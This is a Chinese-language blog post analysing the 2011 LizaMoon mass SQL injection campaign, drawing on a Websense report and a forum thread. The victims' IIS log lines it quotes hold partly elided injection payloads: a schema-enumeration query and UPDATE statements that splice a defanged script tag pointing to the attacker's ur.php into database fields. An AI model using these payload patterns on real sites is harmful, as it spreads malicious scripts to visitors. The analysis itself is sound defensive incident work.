資安廠商Websense在3/29發(fā)布了一則消息，一個被命名為LizaMoon的SQL Injection攻擊正在席卷全球，已有許多網站遭受攻擊，網頁內容中被塞了lizamoon字串，疑似掛馬連結，透過Google查詢lizamoon. com關鍵詞，被稙入惡意連結的URL數在兩天內由28,000個急速增加到380,000個(2011/03/31 22:00 UTC+8時的資料)，有如海嘯狂掃(Websense說: it makes it one of the bigger mass-injection attacks we have ever seen.)， 甚至iTune網站也名列其中。
不過，依據分析iTune中出現的惡意連結已被HtmlEncode為<script不至產生危害，并且推 斷中鏢數據下載自其他信息源，并非iTune本身受害，而加上HtmlEncode的處置也深得Websense贊許。(HtmlEncode真的很重 要! 由ASP.NET 4特別為它提供更簡潔的新語法就知道它被呼叫的頻率該有多高，如果你不知道為何它與資安有關，不妨看一下ASP.NET防駭指南)
httq: // lizamoon. com / ur . php這個URL目前是無效的(該不會因為被太多植入連結網站DDoS打掛了吧? XD)，但網站是活的。在它曾經有效的一段期間，ur.php會傳回一段Script將用戶導向一個著名的假冒防毒網站，不過該網站也掛點中。 Websense調查了lizamoon. com的底細，發(fā)現它是3/25才用假資料注冊的，換句話說，這波攻擊只花了短短幾天就污染了超過38萬個網址(以URL計，非網站數)，而且開始注入開 始出現lizamoon以外的域名的Script連結網址。
目前網絡上找到的數據尚少，無從推斷太多攻擊細節(jié)，不過我在ASP.NET官方討論區(qū)的一個討論串倒是找到不少蛛絲馬跡...
My database was inserted a string like "</title><script src=http://lizamoon.com/ur.php></script>". Event(Even?) the username field in aspnet_users table. So now I can't login my website if I use asp.net security. Who know about this problem please tell me what happening with my database or my website.
由開場白看來，連aspnet_users的username字段都被注入惡意script連結，非常像古早前看過的游擊式SQL Injection攻擊， 攻擊程序將全部SQL指令濃縮成一列，隨意嘗試連上有帶QueryString參數并夾帶攻擊用的SQL指令加在網址后方，一旦該網頁有SQL Injection漏洞，則附加于參數中的SQL指令就會被執(zhí)行，查詢SQL Server的sysobjects, syscolumns，列出所有的文字字段，并透過UPDATE指令在所有文字字段都插入惡意script連結，一旦這些字段被讀取顯示在前端，又未經 HtmlEncode轉換，網頁中就會包含<script src="惡意Script" />，所有連上該網站的訪客，都會被迫加載惡意Script執(zhí)行邪惡任務。相關的原理在游擊式SQL Injection攻擊一文中已有詳細解說楚，這里不再贅述。
不過，更進一步檢視討論串，倒有了不同的結論:
Same for us. We cleaned the code yesterday, and moments ago... the same. (會反復中鏢，表示攻擊程序不只一只? 或是程序會持續(xù)攻擊?)
幾個可疑IP: 95.64.9.18(來自羅馬尼亞), 91.217.162.45(來自烏克蘭，著名的邪惡網絡)
網友提供珍貴的IISLog(進行入侵鑒識時，這是超重要的線索)
2011-03-11 16:34:45 W3SVC1746246233 *MYSERVERIP* GET /dir/linkdetail.aspx id=11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))-- 80 - 91.217.162.45 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) 500 0 0
Doc.asp?id=PU12731+update+gCategoriasHistoricoTiposDescripciones+set+Descripcion=REPLACE(cast(Descripcion+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字符一個字符組出</title><script src=httq:// lazemoon .com / ur . php></script>…%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- - 95.64.9.18 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) - 302 498
2011-03-29 17:56:49 <<my server ip address>> GET /<<pagename>>.asp prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字符一個字符組出</title><script src=httq:// lazemoon .com / ur . php></script>… %2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 80 - 95.64.9.18 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax)
由這些Log來看，惡意SQL會鎖定特定Table及字段，不像上回觀察用sysobjects, syscolumns+CURSOR亂槍打鳥，顯示本次攻擊并非打了就跑，會先掌握數據庫Schema的信息后再精準下手，所以前后應有多次存取(不知道為什么要選擇這種做法，我還是覺得游擊式的玩法比較有創(chuàng)意，唯一的缺點是Table、字段及數據很多時，執(zhí)行起來耗時較久)
3/31起出現了非LizaMoon的網域用來掛ur.php (tadygus . com, verhoef – training. co. uk, t6ryt56 . info) ，顯示透過防火墻封鎖lizamoon. com也無法社絕使用者誤連惡意網站的可能。
雖然對LizaMoon SQL Injection充滿好奇，但依目前搜集到的資料就只能做出以上推測，如果有新的發(fā)展再做補充啰。
老話一句，大家千萬不要把SQL Injection寫進程序里變成害網站裸奔的豬頭呀! 看不懂? 請參見這里。
喜歡 
頂
難過
囧
圍觀
無聊